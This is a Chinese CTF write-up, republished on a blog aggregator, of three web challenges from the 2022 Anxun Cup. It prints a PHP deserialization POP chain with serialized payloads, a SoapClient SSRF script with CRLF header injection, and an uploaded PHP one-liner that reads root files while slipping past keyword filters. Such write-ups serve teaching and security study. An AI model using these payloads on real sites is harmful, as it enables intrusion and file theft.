2022安洵杯web题复现

news2025/1/18 12:00:25

前言

个人觉得赛题质量蛮好的,只是自己太菜了,花了很长时间都在琢磨第一道web,因为一些细节上的问题导致一直解不出来。赛后就找师傅的wp重新去复现一下,总结自己的问题,在此记录一下,以便日后复习。

badyphp(pop链,原生类打ssrf和文件读取)

打开题目就是源代码:

<?php
//something in flag.php
class A
{
    public $a;
    public $b;
    public function __wakeup()
    {
        $this->a = "babyhacker";
    }

    public function __invoke()
    {
          if (isset($this->a) && $this->a == md5($this->a)) {
        $this->b->uwant();
    }
    }
}
class B
{
    public $a;
    public $b;
    public $k;

    function __destruct()
    {
        $this->b = $this->k;
        die($this->a);
    }
}
class C
{
    public $a;
    public $c;
    public function __toString()
    {
        $cc = $this->c;
        return $cc();
    }
    public function uwant()
    {
        if ($this->a == "phpinfo") {
        phpinfo();
        } else {
        call_user_func(array(reset($_SESSION), $this->a));
        }
    }
}
if (isset($_GET['d0g3'])) {
    ini_set($_GET['baby'], $_GET['d0g3']);
    session_start();
    $_SESSION['sess'] = $_POST['sess'];
}
else{
    session_start();
    if (isset($_POST["pop"])) {
        unserialize($_POST["pop"]);
    }
}
var_dump($_SESSION);
highlight_file(__FILE__); 

构造pop链思路:

B::__destruct->C::__toString->A::__invoke->C::uwant

需要绕过wakeup函数,本题目是高版本的php,常规绕过不管用。细看这个代码:

$this->b = $this->k;

我们让$b去指向A类中$a的地址,就可以覆盖掉$a本来的变量了。打一下payload去触发phpinfo();

师傅的wp使用fast destruct来绕过的,都行。

原链⼦:O:1:"B":3:{s:1:"a";O:1:"C":2:{s:1:"a";N;s:1:"c";O:1:"A":2:
{s:1:"a";i:0;s:1:"b";O:1:"C":2:
{s:1:"a";s:7:"phpinfo";s:1:"c";N;}}}s:1:"b";N;s:1:"k";N;}
经Fast Destruct过后的:O:1:"B":3:{s:1:"a";O:1:"C":2:
{s:1:"a";N;s:1:"c";O:1:"A":2:{s:1:"a";i:0;s:1:"b";O:1:"C":2:
{s:1:"a";s:7:"phpinfo";s:1:"c";N;}}}}}s:1:"b";N;s:1:"k";N;}

题目中还提示让我们访问flag.php,flag文件的php代码为

<?php
session_start();
highlight_file(__FILE__);
if($_SERVER["REMOTE_ADDR"]==="127.0.0.1"){
    $f1ag=implode(array(new $_GET['a']($_GET['b'])));
    $_SESSION["F1AG"]= $f1ag;
}else{
   echo "only localhost!!";
} 

REMOTE_ADDR是无法伪造的,所以利用SoapClient类来打ssrf进去。另外可以new对象,我们可以利用原生类来读取flag。说起来很容易,但是怎么操作呢?

在主页面的php代码中我们是可以传session的,另外还有ini_set函数,我们可以控制修改php_ini的参数配置,没错,这里存在session反序列化漏洞。编写攻击ssrf的poc:

<?php
$target = "http://127.0.0.1/flag.php?a=SplFileObject&b=/f1111llllllaagg";
$attack = new SoapClient(null,array('location' => $target,'user_agent' => "aaaa\r\nCookie: PHPSESSID=123456\r\n",'uri' => "123"));
$payload = urlencode(serialize($attack));
echo $payload;
?>
//|O%3A10%3A%22SoapClient%22%3A4%3A%7Bs%3A3%3A%22uri%22%3Bs%3A3%3A%22123%22%3Bs%3A8%3A%22location%22%3Bs%3A60%3A%22http%3A%2F%2F127.0.0.1%2Fflag.php%3Fa%3DSplFileObject%26b%3D%2Ff1111llllllaagg%22%3Bs%3A11%3A%22_user_agent%22%3Bs%3A32%3A%22aaaa%0D%0ACookie%3A+PHPSESSID%3D123456%0D%0A%22%3Bs%3A13%3A%22_soap_version%22%3Bi%3A1%3B%7D

开始我们是不知道flag的文件名的,所以这一步之前,我们需要利用原生类加glob协议把flag文件名给找出来。更改处理器配置为php_serialize,并且将payload传入session中。

传进去之后它是储存在session中,然后我们再传一次,把SoapClient写进session中,为什么要这么做?我们将打ssrf的原生类写进session里了,能够满足反序列化的条件,但是我们还需要去触发SoapClient类里的__call方法才能真正达到效果。主页面php代码有回调函数:

call_user_func(array(reset($_SESSION), $this->a));

这个函数,若第一个参数是数组的话,数组的第一个键值会作为类名,剩下的键值作为方法名,来调用这些函数。两者我们都可控,需要利用这个点来触发__call方法。另外我们呢需要将处理器改为php。

那么接下来就利用我们构造的pop链来触发call方法了。exp为

<?php
class A{
    public $a;
    public $b;
}
class B{
    public $a;
    public $b;
    public $k;
}
class C{
    public $a;
    public $c;
}
$a = new A();
$b = new B();
$c = new C();
$d = new C();
$b->a = $c;
$b->b = &$a->a;
$b->k = "0e215962017";
$c->c = $a;
$a->a = "";
$a->b = $d;
$d->a = "asda";
echo serialize($b);
//O:1:"B":3:{s:1:"a";O:1:"C":2:{s:1:"a";N;s:1:"c";O:1:"A":2:{s:1:"a";s:0:"";s:1:"b";O:1:"C":2:{s:1:"a";s:4:"asda";s:1:"c";N;}}}s:1:"b";R:5;s:1:"k";s:11:"0e215962017";}
?>

 

本地访问flag.php时的PHPSESSID是我们自己设置的,触发call方法后原生类读取flag的内容储存在session中,但是我们需要修改PHPSESSID为自己设置的才能得到flag。

EZ_JS(hash扩展攻击)

打开题目是一个登录框,随便输入些什么登进去。在页面源码有注释,是JSFuck编码,放在游览器解码一下。

这个提示我真不懂是什么意思,看大师傅的wp根据js大写特性绕过,输入admın。同样的,在登录框界面也有注释,

哈希扩展攻击,没怎么了解过,先学会用工具,在这留个坑以后再学。在做题的时候,我对这个注释的理解还是有些偏差,用工具解出hash和密码,hash要添加在cookie里。注意要把\x修改为%

抓登录包,添加admin密码,修改cookie得到文件

访问这个文件直接得出flag了。why?看师傅的wp不是还有原型链污染嘛。

ezupload(file_get_contents与原生类)

是一个上传表单,可以上传php文件,试着上传一句话木马,发现不成功。我们上传phpinfo,可以上传,发现许多函数都被禁用了。

于是我就想怎么开始绕disable_functions了,然而却没什么思路。看了大师傅的wp,发现其实函数禁用的并不全。还有file_get_contents函数可以用,但是上传对上传包的内容有限制,进行字符串拼接绕过,当然也可以用十六进制绕过。

可以看到/etc/passwd的内容。

那么我们如何利用file_get_contents把flag给读出来。看了师傅的wp才知道还可以配合原生类来找到flag文件并且读取。真的强,我是想不到的。那么传入文件。

<?php echo ('fil'.'e_get_contents')(("/".(new DirectoryIterator("glob:///f?????????????"))));?>

因为flag大都在根目录下,配合DirectoryIterator原生类并且利用glob协议找到flag文件名。本来想匹配f*的,*被过滤了。那就只能用?通配符一个个的匹配,最终在匹配13个问号得出flag。

结语

慢慢学习,慢慢积累。又是崇拜大师傅的一天~

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/44490.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

[附源码]计算机毕业设计springboot财务管理系统

项目运行 环境配置&#xff1a; Jdk1.8 Tomcat7.0 Mysql HBuilderX&#xff08;Webstorm也行&#xff09; Eclispe&#xff08;IntelliJ IDEA,Eclispe,MyEclispe,Sts都支持&#xff09;。 项目技术&#xff1a; SSM mybatis Maven Vue 等等组成&#xff0c;B/S模式 M…

WebView2 通过 PuppeteerSharp 实现爬取 王者 壁纸 (案例版)

王者壁纸自动化获取逻辑分析 其实它的逻辑很简单&#xff0c; 就是王者的官网&#xff0c;打开后&#xff0c;在右下角就看到了皮肤页面部分。 这个时候&#xff0c;点击更多&#xff0c;就会打开全部英雄详情的页面。 这个时候&#xff0c;单点任意一个英雄&#xff0c;就会…

怎么从零开始搭建配置Windows云服务器的新手入门教程

本文是搭建 Windows 云服务器入门教程&#xff0c;主要介绍如何从零开始&#xff0c;以最简单的方式搭建和配置你的Windows 云服务器。如果您之前没有搭建云服务器的经验&#xff0c;建议您按照本文介绍的方式来购买和配置您的第一台云服务器。 1、步骤1&#xff1a;注册腾讯云…

文件上传漏洞笔记

漏洞成因 文件上传漏洞正是在文件上传功能中&#xff0c;由于对用户上传的文件数据未做有效检测或过滤不严&#xff0c;导致上传的恶意文件被服务端解释器解析执行&#xff0c;利用漏洞可获取系统控制权。 很多网站都有一些文件上传功能&#xff0c;常见的是图片、视频、压缩文…

多线程 _ 基础篇 _ 线程安全问题【JavaEE初阶】

一、线程安全概述 1.1 什么是线程安全问题 线程安全问题 出现的 "罪魁祸首"&#xff0c;正是 调度器的 随机调度 / 抢占式执行 这个过程 在随机调度之下&#xff0c;多线程程序执行的时候&#xff0c; 有无数种可能的排列方式 在这些排列顺序中&#xff0c;有的…

Kotlin高仿微信-第1篇-注册

Kotlin高仿微信-项目实践58篇详细讲解了各个功能点&#xff0c;包括&#xff1a;注册、登录、主页、单聊(文本、表情、语音、图片、小视频、视频通话、语音通话、红包、转账)、群聊、个人信息、朋友圈、支付服务、扫一扫、搜索好友、添加好友、开通VIP等众多功能。 Kotlin高仿…

C语言——指针(入门详解)

文章目录1.什么是指针&#xff1f;1.1.理解指针的两个要点&#xff1a;1.2.指针变量&#xff1a;1.3.内存是如何编址&#xff1f;2.指针和指针类型2.1指针的创建与初始化2.2.指针类型3.野指针3.1.什么视野指针&#xff1f;3.2.野指针成因3.3.规避野指针4.指针运算4.1.指针-整数…

【App自动化测试】(十四)Android WebView测试方法

目录1. webview 架构与分析方法1.1 webview与Hybrid开发1.1.1 移动APP三种开发模式1.1.2 native原生开发1.1.2.1 native原生开发说明1.1.2.2 native原生开发组件1.1.3 Hybrid混合开发webview展示1.1.3.1 Hybrid混合开发中的app webview组件1.1.3.2 webview开发代码展示1.1.3.3 …

Reids实战——优惠券秒杀(全局唯一ID生成策略)

1 全局唯一ID生成策略 每个店铺都可以发布优惠券&#xff1a; 当用户抢购时&#xff0c;就会生成订单并保存到tb_voucher_order这张表中&#xff0c;而订单表如果使用数据库自增ID就存在一些问题&#xff1a; 1. id的规律性太明显 2. 会受单表数据量的限制 全局ID生成器&a…

Android APP全局黑白化实现方案

在清明节时各大APP都会进行黑白化处理&#xff0c;当时在接到这个需求的时候感觉好麻烦&#xff0c;是不是又要搞一套皮肤&#xff1f; 然而在一系列搜索之后&#xff0c;找到了两位大神&#xff08;鸿洋、U2tzJTNE&#xff09;的实现方案&#xff0c;其实相当的简单&#xff…

NoSQL数据库之MongoDB

一、NoSQL数据库背景 传统关系型数据库遇到的问题 2008 年左右&#xff0c;网站 、 论坛、社交网络开始高速发展&#xff0c;传统的关系型数据库在存储及处理数据的时候受到了很大的挑战 &#xff0c;其中主要体现在以下几点&#xff1a; 难以应付每秒上万次的高并发数据写入…

hiveSql 相互关注问题

hiveSql 相互关注问题说明需求分析优化实现最后说明 普遍社交软件上会有关注功能&#xff0c;如何知道自己的关注是否也是关注了自己呢&#xff1f; 需求 求关注结果数据中&#xff0c;相互关注的用户对。 数据如下&#xff1a; follow表&#xff1b;from_user&#xff1a;关…

JMeter 扩展开发:扩展 TCP 取样器

前言 对基于 TCP/IP 协议的套接字应用进行性能测试是非常常见的测试场景。JMeter 提供的“TCP 取样器”大部分情况下可以满足测试的需求&#xff0c;但是也有它的局限性。如果希望实现更灵活的 TCP 套接字测试方式&#xff0c;可以通过对 JMeter 内置的 TCP 取样器进行扩展开发…

在数据工厂中刷新PowerBI数据集

一开始因为部门使用的是坚果云来同步资料&#xff0c;而坚果云同步SSIS工程总是会报错&#xff0c;一气之下就把所有的SSIS迁移到了Azure云上&#xff0c;本来部门使用的就是Azure SQL&#xff0c;所以迁到Data Factory&#xff08;数据工厂&#xff09;也不需要过多的配置。 …

传输线理论基础01——相关定义、信号速率、分布参数与电报方程

前言一直以来都对高频信号、信号完整性、传输线、分布参数这些概念似懂非懂&#xff0c;上学时没学过相关课程&#xff0c;这导致我对高频电路和PCB理解较差&#xff0c;这里新开一个专栏&#xff0c;补齐这方面知识。 一. 传输线相关定义1.1 传输线定义 传输线指的是传输信号…

PyTorch学习笔记-神经网络模型搭建小实战

1. torch.nn.Sequential torch.nn.Sequential 是一个Sequential 容器&#xff0c;能够在容器中嵌套各种实现神经网络中具体功能相关的类&#xff0c;来完成对神经网络模型的搭建。模块的加入一般有两种方式&#xff0c;一种是直接嵌套&#xff0c;另一种是以 OrderedDict 有序…

LabVIEW创建类 1

LabVIEW创建类 1 通过创建LabVIEW类&#xff0c;可在LabVIEW中创建用户定义的数据类型。LabVIEW类定义了对象相关的数据和可对数据执行的操作&#xff08;即方法&#xff09;。通过封装和继承可创建模块化的代码&#xff0c;使代码更易修改而不影响应用程序中的其它代码。 在…

Terraform 华为云最佳实践

目录划分如下&#xff1a;首先是环境&#xff0c;分为网络和service。global是全局的配置&#xff0c;也就是backend的配置&#xff0c;这次使用s3的存储作为backend的存储。最后就是模块做了一些封装。 在global里面的backend里面的main.tf去创建s3的存储。华为云支持s3存储&a…

[附源码]Python计算机毕业设计Django病房管理系统

项目运行 环境配置&#xff1a; Pychram社区版 python3.7.7 Mysql5.7 HBuilderXlist pipNavicat11Djangonodejs。 项目技术&#xff1a; django python Vue 等等组成&#xff0c;B/S模式 pychram管理等等。 环境需要 1.运行环境&#xff1a;最好是python3.7.7&#xff0c;…

RK3588平台开发系列讲解(USB篇)USB 外设 CONFIG

平台内核版本安卓版本RK3588Linux 5.10Android 12文章目录 一、 Mass Storage Class CONFIG二、USB Serial Converter CONFIG三、USB HID CONFIG四、USB Net CONFIG五、USB Camera CONFIG六、USB Audio CONFIG七、 USB HUB CONFIG沉淀、分享、成长,让自己和他人都能有所收获!…